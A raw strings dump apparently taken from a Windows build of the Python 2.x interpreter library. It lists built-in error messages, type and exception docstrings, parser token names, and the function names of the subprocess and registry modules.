can't delete attribute
can't set attribute
|OOOO:property
dict_values
dict_items
dict_keys
dictionary-itemiterator
dictionary-valueiterator
dictionary-keyiterator
viewvalues
viewitems
viewkeys
popitem
<dummy key>
..\Objects\dictobject.c
fromkeys
cannot convert dictionary update sequence element #%zd to a sequence
dictionary update sequence element #%zd has length %zd; 2 is required
dict inequality comparisons not supported in 3.x
dict.has_key() not supported in 3.x; use the in operator
setdefault
popitem(): dictionary is empty
%s() requires a dict argument, not '%s'
%s(%s)
difference_update
intersection_update
symmetric_difference_update
enumerate
O|O:enumerate
reversed()
reversed
argument to reversed() must be a sequence
Base class for warnings about bytes and buffer related problems, mostly
related to conversion from str or comparing to str.
exceptions.BytesWarning
Base class for warnings about Unicode related problems, mostly
related to conversion problems.
exceptions.UnicodeWarning
Base class for warnings about probable mistakes in module imports
exceptions.ImportWarning
Base class for warnings about constructs that will change semantically
in the future.
exceptions.FutureWarning
Base class for warnings about dubious runtime behavior.
exceptions.RuntimeWarning
Base class for warnings about dubious syntax.
exceptions.SyntaxWarning
Base class for warnings about features which will be deprecated
in the future.
exceptions.PendingDeprecationWarning
Base class for warnings about deprecated features.
exceptions.DeprecationWarning
Base class for warnings generated by user code.
exceptions.UserWarning
Base class for warning categories.
exceptions.Warning
Buffer error.
exceptions.BufferError
Out of memory.
exceptions.MemoryError
Weak ref proxy used after referent went away.
exceptions.ReferenceError
Internal error in the Python interpreter.
Please report this to the Python maintainer, along with the traceback,
the Python version, and the hardware/OS platform and version.
exceptions.SystemError
Second argument to a division or modulo operation was zero.
exceptions.ZeroDivisionError
Result too large to be represented.
exceptions.OverflowError
Floating point operation failed.
exceptions.FloatingPointError
Base class for arithmetic errors.
exceptions.ArithmeticError
Assertion failed.
exceptions.AssertionError
Unicode translation error.
exceptions.UnicodeTranslateError
Unicode decoding error.
exceptions.UnicodeDecodeError
Unicode encoding error.
exceptions.UnicodeEncodeError
exception reason
exception end
exception start
exception object
exception encoding
Unicode related error.
exceptions.UnicodeError
Inappropriate argument value (of correct type).
exceptions.ValueError
Mapping key not found.
exceptions.KeyError
Sequence index out of range.
exceptions.IndexError
Base class for lookup errors.
exceptions.LookupError
Improper mixture of spaces and tabs.
exceptions.TabError
Improper indentation.
exceptions.IndentationError
Invalid syntax.
exceptions.SyntaxError
exception print_file_and_line
print_file_and_line
exception text
exception offset
exception lineno
lineno
exception msg
Attribute not found.
exceptions.AttributeError
Local name referenced but not bound to a value.
exceptions.UnboundLocalError
Name not found globally.
exceptions.NameError
Method or function hasn't been implemented yet.
exceptions.NotImplementedError
Unspecified run-time error.
exceptions.RuntimeError
Read beyond end of file.
exceptions.EOFError
MS-Windows OS system call failed.
exceptions.WindowsError
Win32 exception code
winerror
POSIX exception code
OS system call failed.
exceptions.OSError
I/O operation failed.
exceptions.IOError
Base class for I/O related errors.
exceptions.EnvironmentError
exception filename
exception strerror
exception errno
Import can't find module, or can't find name in module.
exceptions.ImportError
Program interrupted by user.
exceptions.KeyboardInterrupt
Request to exit from the interpreter.
exceptions.SystemExit
exception code
Request that a generator exit.
exceptions.GeneratorExit
Signal the end from iterator.next().
exceptions.StopIteration
Inappropriate argument type.
exceptions.TypeError
Base class for all standard Python exceptions that do not represent
interpreter exiting.
exceptions.StandardError
Common base class for all non-exit exceptions.
exceptions.Exception
Common base class for all exceptions
exceptions.BaseException
__unicode__
__getitem__ not supported for exception classes in 3.x; use args attribute
__getslice__ not supported for exception classes in 3.x; use args attribute
__dict__ may not be deleted
__dict__ must be a dictionary
args may not be deleted
message
message attribute was deleted
BaseException.message has been deprecated as of Python 2.6
EnvironmentError
[Errno %s] %s: %s
[Errno %s] %s
[Error %s] %s: %s
[Error %s] %s
tuple index out of range
%s (%s, line %ld)
%s (%s)
%s (line %ld)
%.200s attribute not set
%.200s attribute must be str
%.200s attribute must be unicode
reason
O!O!nnO!
'%.400s' codec can't encode character u'\%s' in position %zd: %.400s
'%.400s' codec can't encode characters in position %zd-%zd: %.400s
su#nns
'%.400s' codec can't decode byte 0x%s in position %zd: %.400s
'%.400s' codec can't decode bytes in position %zd-%zd: %.400s
ss#nns
O!nnO!
can't translate character u'\%s' in position %zd: %.400s
can't translate characters in position %zd-%zd: %.400s
exceptions bootstrapping error.
exceptions
BaseException
Module dictionary insertion problem.
Exception
StandardError
TypeError
StopIteration
GeneratorExit
SystemExit
KeyboardInterrupt
ImportError
IOError
OSError
WindowsError
EOFError
RuntimeError
NotImplementedError
NameError
UnboundLocalError
AttributeError
SyntaxError
IndentationError
TabError
LookupError
IndexError
KeyError
ValueError
UnicodeError
UnicodeEncodeError
UnicodeDecodeError
UnicodeTranslateError
AssertionError
ArithmeticError
FloatingPointError
OverflowError
ZeroDivisionError
SystemError
ReferenceError
MemoryError
BufferError
Warning
UserWarning
DeprecationWarning
PendingDeprecationWarning
SyntaxWarning
RuntimeWarning
FutureWarning
ImportWarning
UnicodeWarning
BytesWarning
Cannot pre-allocate MemoryError instance
Cannot pre-allocate RuntimeError instance for recursion errors
maximum recursion depth exceeded
cannot allocate argument for RuntimeError pre-allocation
cannot allocate tuple for RuntimeError pre-allocation
init of pre-allocated RuntimeError failed
end-of-line convention used in this file
Unicode error handler
file encoding
file name
file mode ('r', 'U', 'w', 'a', possibly with 'b' or '+' added)
xreadlines
btcnSR
UTF-16LE
UNICODE
empty mode string
universal newline mode can only be used with modes starting with 'r'
mode string must begin with one of 'r', 'w', 'a' or 'U', not '%.200s'
Invalid mode ('%.50s')
file() constructor not accessible in restricted mode
invalid mode ('%.50s') or filename
close() called during concurrent operation on the same file object.
PyFileObject locking error in destructor (refcnt <= 0 at close).
Mixing iteration and read methods would lose data
close failed in file object destructor:
<%s file u'%s', mode '%s' at %p>
<%s file %s, mode '%s' at %p>
|l:read
requested number of bytes is more than a Python string can hold
line is longer than a Python string can hold
..\Objects\fileobject.c
object.readline() returned non-string
EOF when reading a line
|l:readlines
writelines() requires an iterable argument
writelines() argument must be a sequence of strings
f.xreadlines() not supported in 3.x, try 'for line in f' instead
Unknown newlines value 0x%x
file.softspace not supported in 3.x
can't delete softspace attribute
<uninitialized file>
U|si:file
et|si:file
O|si:file
writeobject with NULL file
null file for PyFile_WriteString
fileno() returned a non-integer
argument must be an int, or have a fileno() method.
file descriptor cannot be a negative integer (%i)
__setformat__
__getformat__
Return True if the float is an integer.
is_integer
as_integer_ratio
Return the Integral closest to x between 0 and x.
Return self, the complex conjugate of any float.
sys.float_info
FLT_ROUNDS -- addition rounds
rounds
FLT_RADIX -- radix of exponent
DBL_EPSILON -- Difference between 1 and the next representable float
epsilon
DBL_MANT_DIG -- mantissa digits
mant_dig
DBL_DIG -- digits
DBL_MIN_10_EXP -- minimum int e such that 10**e is a normalized
min_10_exp
DBL_MIN_EXP -- minimum int e such that radix**(e-1) is a normalized float
min_exp
DBL_MIN -- Minimum positive normalizer float
DBL_MAX_10_EXP -- maximum int e such that 10**e is representable
max_10_exp
DBL_MAX_EXP -- maximum int e such that radix**(e-1) is representable
max_exp
DBL_MAX -- maximum representable finite float
float() argument must be a string or a number
invalid literal for float(): %.200s
a float is required
nb_float should return float object
float division by zero
classic float division
float modulo
float divmod()
pow() 3rd argument not allowed unless all arguments are integers
0.0 cannot be raised to a negative power
negative number cannot be raised to a fractional power
%s0%se%d
rounded value too large to represent
-0x0.0p+0
0x0.0p+0
-0x%sp%c%d
0x%sp%c%d
hexadecimal value too large to represent as a float
invalid hexadecimal floating-point string
hexadecimal string too long to convert
Cannot pass infinity to float.as_integer_ratio.
Cannot pass NaN to float.as_integer_ratio.
|O:float
__getformat__() argument must be string, not %.500s
double
__getformat__() argument 1 must be 'double' or 'float'
unknown
IEEE, little-endian
IEEE, big-endian
insane float_format or double_format
ss:__setformat__
__setformat__() argument 1 must be 'double' or 'float'
__setformat__() argument 2 must be 'unknown', 'IEEE, little-endian' or 'IEEE, big-endian'
can only set %s format to 'unknown' or the detected platform value
# cleanup floats
: %d unfreed float%s
#   <float at %p, refcnt=%ld, val=%s>
frexp() result out of range
float too large to pack with f format
float too large to pack with d format
can't unpack IEEE 754 special value on non-IEEE platform
f_exc_value
f_exc_type
f_exc_traceback
f_restricted
f_trace
f_lineno
f_locals
f_lasti
f_globals
f_builtins
f_code
f_back
f_exc_traceback has been removed in 3.x
f_exc_type has been removed in 3.x
f_exc_value has been removed in 3.x
lineno must be an integer
f_lineno can only be set by a line trace function
line %d comes before the current code block
line %d comes after the current code block
can't jump to 'except' line as there's no exception
can't jump into or out of a 'finally' block
can't jump into the middle of a block
XXX block stack overflow
XXX block stack underflow
function
closure
argdefs
globals
func_name
func_dict
__defaults__
func_defaults
__code__
func_code
__globals__
func_globals
func_doc
__closure__
func_closure
..\Objects\funcobject.c
non-tuple default args
expected tuple for closure, got '%.100s'
function attributes not accessible in restricted mode
function's dictionary may not be deleted
setting function's dictionary to a non-dict
__code__ must be set to a code object
%s() requires a code object with %zd free vars, not %zd
__name__ must be set to a string object
__defaults__ must be set to a tuple object
O!O!|OOO:function
arg 3 (name) must be None or string
arg 4 (defaults) must be None or tuple
arg 5 (closure) must be tuple
arg 5 (closure) must be None or tuple
%s requires closure of length %zd, not %zd
arg 5 (closure) expected cell, found %s
<function %s at %p>
uninitialized classmethod object
classmethod
uninitialized staticmethod object
staticmethod
generator
gi_code
gi_running
gi_frame
generator already executing
can't send non-None value to a just-started generator
generator ignored GeneratorExit
throw() third argument must be a traceback object
instance exception may not have a separate value
exceptions must be classes, or instances, not %s
<generator object %.200s at %p>
the denominator of a rational number in lowest terms
denominator
the numerator of a rational number in lowest terms
numerator
Truncating an Integral returns itself.
bit_length
Returns self, the complex conjugate of any int.
__int__ method should return an integer
Python int too large to convert to C int
int() base must be >= 2 and <= 36
invalid literal for int() with base %d: %s
integer division or modulo by zero
classic int division
division by zero
pow() 2nd argument cannot be negative when 3rd argument specified
pow() 3rd argument cannot be 0
negative shift count
|Oi:int
int() missing string argument
int() can't convert non-string with explicit base
# cleanup ints
: %d unfreed int%s
#   <int at %p, refcnt=%ld, val=%ld>
callable-iterator
iterator
..\Objects\iterobject.c
iter index too large
listreverseiterator
listiterator
cmpwrapper
sortwrapper
..\Objects\listobject.c
list index out of range
list assignment index out of range
cannot add more objects to list
 while getting the repr of a list
can only concatenate list (not "%.200s") to list
can only assign an iterable
argument must be iterable
pop from empty list
comparison function must return int, not %.200s
expected a sortwrapperobject
|OOi:sort
the cmp argument is not supported in 3.x
list modified during sort
O|O&O&:index
%r is not in list
list.remove(x): x not in list
|O:list
list indices must be integers, not %.200s
must assign iterable to extended slice
attempt to assign sequence of size %zd to extended slice of size %zd
sys.long_info
size in bytes of the C type used to represent a digit
sizeof_digit
size of a digit in bits
bits_per_digit
Returns size in memory, in bytes
Returns self, the complex conjugate of any long.
too many digits in integer
cannot convert float infinity to integer
cannot convert float NaN to integer
..\Objects\longobject.c
nb_int should return int object
Python int too large to convert to C long
long int too large to convert to int
can't convert negative value to unsigned long
long int too large to convert
long has too many bits to express in a platform size_t
byte array too long to convert to int
can't convert negative long to unsigned
long too big to convert
integer conversion failed
long is too large to format
long string too large to convert
long() arg 2 must be >= 2 and <= 36
invalid literal for long() with base %d: %s
long division or modulo by zero
huge integer: number of bits overflows a Py_ssize_t
long int too large to convert to float
classic long division
intermediate overflow during division
integer division result too large for a float
|Oi:long
long() missing string argument
long() can't convert non-string with explicit base
memoryview
tobytes
readonly
suboffsets
strides
exported buffer does not have any shape information associated to it
cannot make memory view because object does not have the buffer interface
O:memoryview
object does not have the buffer interface
writable contiguous buffer requested for a non-contiguousobject.
tolist() only supports byte views
tolist() only supports one-dimensional objects
<memory at %p>
invalid indexing of 0-dim memory
index out of bounds
cannot index memory using "%.200s"
cannot modify read-only memory
cannot delete memory
mismatching item sizes for "%.200s" and "%.200s"
cannot modify size of memoryview object
builtin_function_or_method
..\Objects\methodobject.c
%.200s() takes no arguments (%zd given)
%.200s() takes exactly one argument (%zd given)
%.200s() takes no keyword arguments
method.__self__ not accessible in restricted mode
<built-in function %s>
<built-in method %s of %s object at %p>
builtin_function_or_method order comparisons not supported in 3.x
__methods__
__methods__ not supported in 3.x
module
__package__
..\Objects\moduleobject.c
nameless module
__file__
module filename missing
#   clear[1] %s
#   clear[2] %s
S|O:module.__init__
<module '%s' (built-in)>
<module '%s' from '%s'>
NotImplementedType
NoneType
print recursion
stack overflow
<refcnt %ld at %p>
object  : 
type    : %s
refcount: %ld
address : %p
<NULL>
<%s object at %p>
__repr__ returned non-string (type %.200s)
 while getting the str of an object
__str__ returned non-string (type %.200s)
tp_compare didn't return -1 or -2 for exception
tp_compare didn't return -1, 0 or 1
..\Objects\object.c
 in cmp
comparing unequal types not supported in 3.x
unhashable type: '%.200s'
attribute name must be string, not '%.200s'
'%.50s' object has no attribute '%.400s'
assign to
'%.100s' object has no attributes (%s .%.100s)
'%.100s' object has only read-only attributes (%s .%.100s)
'%.100s' object has no attribute '%.200s'
'%.50s' object attribute '%.400s' is read-only
number coercion failed
__members__
__members__ and __methods__ not supported in 3.x
frame does not exist
dir(): expected keys() of locals to be a list, not '%.200s'
%.200s.__dict__ is not a dictionary
__dir__
__dir__() must return a list, not %.200s
deallocating None
NotImplemented
Can't initialize type type
Can't initialize weakref type
Can't initialize callable weakref proxy type
Can't initialize weakref proxy type
Can't initialize bool type
Can't initialize str type
Can't initialize bytearray type
Can't initialize list type
Can't initialize None type
Can't initialize NotImplemented type
Can't initialize traceback type
Can't initialize super type
Can't initialize object type
Can't initialize xrange type
Can't initialize dict type
Can't initialize set type
Can't initialize unicode type
Can't initialize slice type
Can't initialize static method type
Can't initialize complex type
Can't initialize float type
Can't initialize buffer type
Can't initialize long type
Can't initialize int type
Can't initialize frozenset type
Can't initialize property type
Can't initialize memoryview type
Can't initialize tuple type
Can't initialize enumerate type
Can't initialize reversed type
Can't initialize code type
Can't initialize frame type
Can't initialize builtin function type
Can't initialize method type
Can't initialize function type
Can't initialize class type
Can't initialize dict proxy type
Can't initialize generator type
Can't initialize get-set descriptor type
Can't initialize wrapper type
Can't initialize instance type
Can't initialize ellipsis type
Can't initialize member descriptor type
Can't initialize file type
Can't initialize capsule type
Can't initialize cell type
Can't initialize call iter type
Can't initialize sequence iterator type
Py_Repr
rangeiterator
xrange
xrange()
l;xrange() requires 1-3 int arguments
ll|l;xrange() requires 1-3 int arguments
xrange() arg 3 must not be zero
xrange() result has too many items
xrange object index out of range
xrange(%ld)
xrange(%ld, %ld)
xrange(%ld, %ld, %ld)
(O(lll))
..\Objects\rangeobject.c
frozenset
symmetric_difference
issuperset
issubset
isdisjoint
intersection
difference
discard
setiterator
%s(...)
pop from an empty set
Set changed size during iteration
frozenset()
cannot compare sets using cmp()
..\Objects\setobject.c
indices
ellipsis
Ellipsis
slice step cannot be zero
slice()
slice(
O(OOO)
unhashable type
basestring
_formatter_parser
_formatter_field_name_split
fieldnameiterator
formatteriterator
Negative size passed to PyString_FromStringAndSize
string is too large
string is too long for a Python string
decoder did not return a string object (type=%.400s)
encoder did not return a string object (type=%.400s)
deletion of interned string failed
Immortal interned string died.
Inconsistent interned string state.
Trailing \ in string
invalid \x escape
decoding error; unknown error handling code: %.400s
..\Objects\stringobject.c
expected string or Unicode object, %.200s found
expected string without null bytes
\x%02x
string is too large to make repr
cannot concatenate 'str' and '%.200s' objects
strings are too large to concat
repeated string is too long
'in <string>' requires string as left operand, not %.200s
string index out of range
string indices must be integers, not %.200s
accessing non-existent string segment
Cannot use string as modifiable buffer
sequence item %zd: expected string, %.80s found
join() result is too long for a Python string
substring not found
%s arg must be None, str or unicode
deletions are implemented differently for unicode
startswith first arg must be str, unicode, or tuple, not %s
endswith first arg must be str, unicode, or tuple, not %s
|ss:encode
encoder did not return a string/unicode object (type=%.400s)
decoder did not return a string/unicode object (type=%.400s)
new string is too long
cannot switch from manual field specification to automatic field numbering
cannot switch from automatic field numbering to manual field specification
Too many decimal digits in format string
Missing ']' in format string
Only '.' or '[' may follow ']' in format field specifier
Empty attribute in format string
end of format while looking for conversion specifier
expected ':' after format specifier
Single '}' encountered in format string
Single '{' encountered in format string
unmatched '{' in format
Unknown conversion specifier %c
Unknown conversion specifier \x%x
Max string recursion exceeded
__format__ arg must be str or unicode, not %s
|O:str
The basestring type cannot be instantiated
not enough arguments for format string
float argument required, not %.200s
string too large in _PyString_FormatLong
int argument required, not %.200s
%s0%c%%.%dl%c
%s%%%s.%dl%c
formatted integer is too long (precision too large?)
c;%c requires int or char
b;%c requires int or char
format requires a mapping
incomplete format key
* wants int
width too big
prec too big
incomplete format
%s argument has non-string str()
%%%c format: a number is required, not %.200s
unsupported format character '%c' (0x%x) at index %zd
not all arguments converted during string formatting
PyString_InternInPlace: strings only please!
releasing %d interned strings
total size of all interned strings: %d/%d mortal/immortal
unnamed field
structseq index must be integer
O|O:structseq
constructor requires a sequence
%.500s() takes a dict as second arg, if any
%.500s() takes an at least %zd-sequence (%zd-sequence given)
%.500s() takes an at most %zd-sequence (%zd-sequence given)
%.500s() takes a %zd-sequence (%zd-sequence given)
(O(OO))
tupleiterator
..\Objects\tupleobject.c
tuple assignment index out of range
 while getting the repr of a tuple
can only concatenate tuple (not "%.200s") to tuple
tuple.index(x): x not in tuple
|O:tuple
tuple indices must be integers, not %.200s
the type of the instance invoking super(); may be None
__self_class__
the instance invoking super(); may be None
the class invoking super()
__thisclass__
x.__contains__(y) <==> y in x
x.__delslice__(i, j) <==> del x[i:j]
           
           Use of negative indices is not supported.
x.__setslice__(i, j, y) <==> x[i:j]=y
           
           Use  of negative indices is not supported.
x.__getslice__(i, j) <==> x[i:j]
           
           Use of negative indices is not supported.
x.__rmul__(n) <==> n*x
x.__mul__(n) <==> x*n
x.__delitem__(y) <==> del x[y]
x.__setitem__(i, y) <==> x[i]=y
x.__getitem__(y) <==> x[y]
x.__len__() <==> len(x)
x[y:z] <==> x[y.__index__():z.__index__()]
x.__itruediv__(y) <==> x/=y
x.__ifloordiv__(y) <==> x//=y
x.__rtruediv__(y) <==> y/x
x.__truediv__(y) <==> x/y
x.__rfloordiv__(y) <==> y//x
x.__floordiv__(y) <==> x//y
x.__ior__(y) <==> x|=y
x.__ixor__(y) <==> x^=y
x.__iand__(y) <==> x&=y
x.__irshift__(y) <==> x>>=y
x.__ilshift__(y) <==> x<<=y
x.__ipow__(y) <==> x**=y
x.__imod__(y) <==> x%=y
x.__idiv__(y) <==> x/=y
x.__imul__(y) <==> x*=y
x.__isub__(y) <==> x-=y
x.__iadd__(y) <==> x+=y
x.__hex__() <==> hex(x)
x.__oct__() <==> oct(x)
x.__float__() <==> float(x)
x.__long__() <==> long(x)
x.__int__() <==> int(x)
x.__coerce__(y) <==> coerce(x, y)
x.__ror__(y) <==> y|x
x.__or__(y) <==> x|y
x.__rxor__(y) <==> y^x
x.__xor__(y) <==> x^y
x.__rand__(y) <==> y&x
x.__and__(y) <==> x&y
x.__rrshift__(y) <==> y>>x
x.__rshift__(y) <==> x>>y
x.__rlshift__(y) <==> y<<x
x.__lshift__(y) <==> x<<y
x.__invert__() <==> ~x
x.__nonzero__() <==> x != 0
x.__abs__() <==> abs(x)
x.__pos__() <==> +x
x.__neg__() <==> -x
y.__rpow__(x[, z]) <==> pow(x, y[, z])
x.__pow__(y[, z]) <==> pow(x, y[, z])
x.__rdivmod__(y) <==> divmod(y, x)
x.__divmod__(y) <==> divmod(x, y)
x.__rmod__(y) <==> y%x
x.__mod__(y) <==> x%y
x.__rdiv__(y) <==> y/x
x.__div__(y) <==> x/y
x.__rmul__(y) <==> y*x
x.__mul__(y) <==> x*y
x.__rsub__(y) <==> y-x
x.__sub__(y) <==> x-y
x.__radd__(y) <==> y+x
x.__add__(y) <==> x+y
x.__init__(...) initializes x; see help(type(x)) for signature
descr.__delete__(obj)
descr.__set__(obj, value)
descr.__get__(obj[, type]) -> value
x.next() -> the next value, or raise StopIteration
x.__iter__() <==> iter(x)
x.__ge__(y) <==> x>=y
x.__gt__(y) <==> x>y
x.__ne__(y) <==> x!=y
x.__eq__(y) <==> x==y
x.__le__(y) <==> x<=y
x.__lt__(y) <==> x<y
x.__delattr__('name') <==> del x.name
x.__setattr__('name', value) <==> x.name = value
x.__getattribute__('name') <==> x.name
x.__str__() <==> str(x)
x.__call__(...) <==> x(...)
x.__hash__() <==> hash(x)
x.__repr__() <==> repr(x)
x.__cmp__(y) <==> cmp(x,y)
T.__new__(S, ...) -> a new object with type S, a subtype of T
list of weak references to the object (if defined)
__weakref__
dictionary for instance variables (if defined)
the object's class
__sizeof__() -> int
size of object in memory, in bytes
default object formatter
__subclasshook__
helper for pickle
The most base type
__abstractmethods__
__mro__
__dictoffset__
__base__
__weakrefoffset__
__flags__
__itemsize__
__basicsize__
__subclasscheck__() -> bool
check if a class is a subclass
__instancecheck__() -> bool
check if an object is an instance
__subclasses__() -> list of immediate subclasses
__subclasses__
mro() -> list
return a type's method resolution order
can't set %s.__name__
can't delete %s.__name__
can only assign string to %s.__name__, not '%s'
can't set %s.__module__
can't delete %s.__module__
can't set %s.__bases__
can't delete %s.__bases__
can only assign tuple to %s.__bases__, not %s
can only assign non-empty tuple to %s.__bases__, not ()
%s.__bases__ must be tuple of old- or new-style classes, not '%s'
type inequality comparisons not supported in 3.x
<%s '%s.%s'>
<%s '%s'>
cannot create '%.100s' instances
duplicate base class %s
Cannot create a consistent method resolution
order (MRO) for bases
mro() returned a non-class ('%.500s')
mro() returned base with unsuitable layout ('%.500s')
bases must be types
type '%.100s' is not an acceptable base type
multiple bases have instance lay-out conflict
a new-style class can't have only classic bases
this __dict__ descriptor does not support '%.200s' objects
This object has no __dict__
__dict__ must be set to a dictionary, not a '%.200s'
This object has no __weakref__
__slots__ items must be strings, not '%.200s'
__slots__ must be identifiers
type.__init__() takes no keyword arguments
type.__init__() takes 1 or 3 arguments
type() takes 1 or 3 arguments
SO!O!:type
metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases
__slots__
nonempty __slots__ not supported for subtype of '%s'
__dict__ slot disallowed: we already got one
__weakref__ slot disallowed: either we already got one, or __itemsize__ != 0
type object '%.50s' has no attribute '%.400s'
can't set attributes of built-in/extension type '%s'
object.__init__() takes no parameters
object() takes no parameters
sorted
Can't instantiate abstract class %s with abstract methods %s
<%s.%s object at %p>
%s assignment: '%s' deallocator differs from '%s'
%s assignment: '%s' object layout differs from '%s'
can't delete __class__ attribute
__class__ must be set to new-style class, not '%s' object
__class__ assignment: only for heap types
__slotnames__
_slotnames
copy_reg._slotnames didn't return a list or None
can't pickle %s objects
__getnewargs__ should return a tuple, not '%.200s'
_reduce_ex
|i:__reduce__
|i:__reduce_ex__
argument to __format__ must be unicode or str
method cannot be both class and static
Overriding __eq__ blocks inheritance of __hash__ in 3.x
type '%.100s' is not dynamically allocated but its base type '%.100s' is dynamically allocated
type '%.100s' participates in gc and is a base type but has inappropriate tp_free slot
PyArg_UnpackTuple() argument list is not a tuple
expected %d arguments, got %zd
%s.__cmp__(x,y) requires y to be a '%s', not a '%s'
can't apply this %s to %s object
__get__(None, None) is invalid
__new__() called with non-type 'self'
%s.__new__(): not enough arguments
%s.__new__(X): X is not a type object (%s)
%s.__new__(%s): %s is not a subtype of %s
%s.__new__(%s) is not safe, use %s.__new__()
%s should return bool or int, returned %s
__coerce__ didn't return a 2-tuple
__getattribute__
__get__
__delete__
__set__
__init__() should return None, not '%.200s'
Out of memory interning slotdef names
<super: <class '%s'>, <%s object>>
<super: <class '%s'>, NULL>
super(type, obj): obj must be an instance or subtype of type
O!|O:super
unicode
isnumeric
isdecimal
O!n;translating error handler must return (unicode, int) tuple
EncodingMap
Return the size (in bytes) of this object
O!n;encoding error handler must return (unicode, int) tuple
O!n;decoding error handler must return (unicode, int) tuple
can't resize shared unicode objects
..\Objects\unicodeobject.c
Negative size passed to PyUnicode_FromStringAndSize
%c arg not in range(0x10000) (narrow Python build)
unichr() arg not in range(0x10000) (narrow Python build)
decoding Unicode is not supported
decoding bytearray is not supported
coercing to Unicode: need string or buffer, %.80s found
decoder did not return an unicode object (type=%.400s)
decoded result is too long for a Python string
partial character in shift sequence
non-zero padding bits in shift sequence
unexpected special character
unterminated shift sequence
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
invalid start byte
internal error
invalid continuation byte
truncated data
code point not in range(0x110000)
illegal UTF-16 surrogate
illegal encoding
truncated \xXX escape
truncated \uXXXX escape
truncated \UXXXXXXXX escape
illegal Unicode character
malformed \N character escape
unicodedata.ucnhash_CAPI
unknown Unicode character name
\ at end of string
unicodeescape
\N escapes not supported (can't load unicodedata module)
truncated \uXXXX
rawunicodeescape
\Uxxxxxxxx out of range
truncated input
unicode_internal
ordinal not in range(256)
ordinal not in range(128)
xmlcharrefreplace
encoded result is too long for a Python string
character maps to <undefined>
charmap
character mapping must be in range(0x110000)
character mapping must return integer, None or unicode
character mapping must be in range(256)
character mapping must return integer, None or str
character mapping must be in range(0x%lx)
decimal
invalid decimal Unicode string
sequence item %zd: expected string or Unicode, %.80s found
padded string is too long
The fill character cannot be converted to Unicode
The fill character must be exactly one character long
n|O&:center
Unicode equal comparison failed to convert both arguments to Unicode - interpreting them as being unequal
Unicode unequal comparison failed to convert both arguments to Unicode - interpreting them as being unequal
n|O&:ljust
%s arg must be None, unicode or str
n|O&:rjust
string indices must be integers
accessing non-existent unicode segment
cannot use unicode as modifiable buffer
%c requires int or char
|Oss:unicode
Can't initialize 'unicode'
Can't initialize field name iterator type
Can't initialize formatter iter type
weakcallableproxy
weakproxy
weakref
:__call__
weak object has gone away
<weakref at %p; dead>
<weakref at %p; to '%.50s' at %p (%s)>
<weakref at %p; to '%.50s' at %p>
cannot create weak reference to '%s' object
weakly-referenced object no longer exists
<weakproxy at %p to %.100s at %p>
..\Objects\weakrefobject.c
no mem to build parser accelerators
XXX too many states!
XXX too high nonterminal number!
XXX ambiguity!
no mem to add parser accelerators
no mem for bitset
Adding FIRST sets ...
Calculate FIRST set for '%s'
Left-recursion for '%s'
Re-calculating FIRST set for '%s' ???
no mem for new sym in calcfirstset
no mem to resize sym in calcfirstset
Left-recursion below '%s'
FIRST set for '%s': {
no mem for new grammar
no mem to resize dfa in adddfa
no mem to resize state in addstate
no mem to resize arc list in addarc
no mem to resize labellist in addlabel
Label @ %8p, %d: %s
Label %d/'%s' not found
grammar.c:findlabel()
Translating label %s ...
Label %s is non-terminal %d.
Label %s is terminal %d.
Can't translate NAME label '%s'
Label %s is a keyword
Can't alloc dest '%s'
Unknown OP label %s
Can't translate STRING label %s
Can't translate label '%s'
%.32s(%.32s)
MSTART
input line too long
can't re-enter readline
s_push: parser stack overflow
__future__
with_statement
print_function
unicode_literals
<string>
no mem for new parser
no mem for next token
set tabsize=
:tabstop=
tab-width:
<N_TOKENS>
<ERRORTOKEN>
DOUBLESLASHEQUAL
DOUBLESLASH
DOUBLESTAREQUAL
RIGHTSHIFTEQUAL
LEFTSHIFTEQUAL
CIRCUMFLEXEQUAL
VBAREQUAL
AMPEREQUAL
PERCENTEQUAL
SLASHEQUAL
STAREQUAL
MINEQUAL
PLUSEQUAL
DOUBLESTAR
RIGHTSHIFT
LEFTSHIFT
CIRCUMFLEX
GREATEREQUAL
LESSEQUAL
NOTEQUAL
EQEQUAL
RBRACE
LBRACE
BACKQUOTE
PERCENT
GREATER
DEDENT
INDENT
NEWLINE
STRING
NUMBER
ENDMARKER
utf-8-
iso-8859-1
iso-latin-1
latin-1-
iso-8859-1-
iso-latin-1-
coding
encoding problem: %s
encoding problem: %s with BOM
codec did not return a unicode object
Non-ASCII character '\x%.2x' in file %.200s on line %i, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details
tok_backup: beginning of buffer
%s: inconsistent use of tabs and spaces in indentation
Tab size set to %d
<> not supported in 3.x; use !=
GetModuleFileName
GetVersion
WaitForSingleObject
GetExitCodeProcess
TerminateProcess
GetCurrentProcess
GetStdHandle
_subprocess_handle
Detach
:Detach
:Close
i:GetStdHandle
:GetCurrentProcess
lllii|i:DuplicateHandle
Oi:CreatePipe
environment must be dictionary or None
environment can only contain strings
zzOOiiOzO:CreateProcess
dwFlags
wShowWindow
hStdInput
hStdOutput
hStdError
li:TerminateProcess
l:GetExitCodeProcess
li:WaitForSingleObject
:GetVersion
l:GetModuleFileName
_subprocess
STD_INPUT_HANDLE
STD_OUTPUT_HANDLE
STD_ERROR_HANDLE
DUPLICATE_SAME_ACCESS
STARTF_USESTDHANDLES
STARTF_USESHOWWINDOW
SW_HIDE
INFINITE
WAIT_OBJECT_0
CREATE_NEW_CONSOLE
CREATE_NEW_PROCESS_GROUP
STILL_ACTIVE
SetValueEx
SetValue
SaveKey
QueryReflectionKey
QueryInfoKey
QueryValueEx
QueryValue
OpenKeyEx
OpenKey
LoadKey
FlushKey
ExpandEnvironmentStrings
EnumValue
EnumKey
EnableReflectionKey
DisableReflectionKey
DeleteValue
DeleteKeyEx
DeleteKey
CreateKeyEx
CreateKey
ConnectRegistry
CloseKey
PyHKEY
handle
bad operand type
<PyHKEY at %p (%p)>
<PyHKEY:%p>
None is not a valid HKEY in this context
The object is not a PyHKEY object
A handle must be a HKEY object or an integer
Objects of type '%s' can not be used as binary registry values
registry string is too long for a Python string
O:CloseKey
zO:ConnectRegistry
Oz:CreateKey
Oz|ii:CreateKeyEx
Os:DeleteKey
Os|ii:DeleteKeyEx
advapi32.dll
RegDeleteKeyExA
not implemented on this platform
Oz:DeleteValue
Oi:EnumKey
Oi:EnumValue
u:ExpandEnvironmentStrings
O:FlushKey
Oss:LoadKey
Oz|ii:OpenKey
O:QueryInfoKey
Oz:QueryValue
Oz:QueryValueEx
Os:SaveKey
OOiO:SetValue
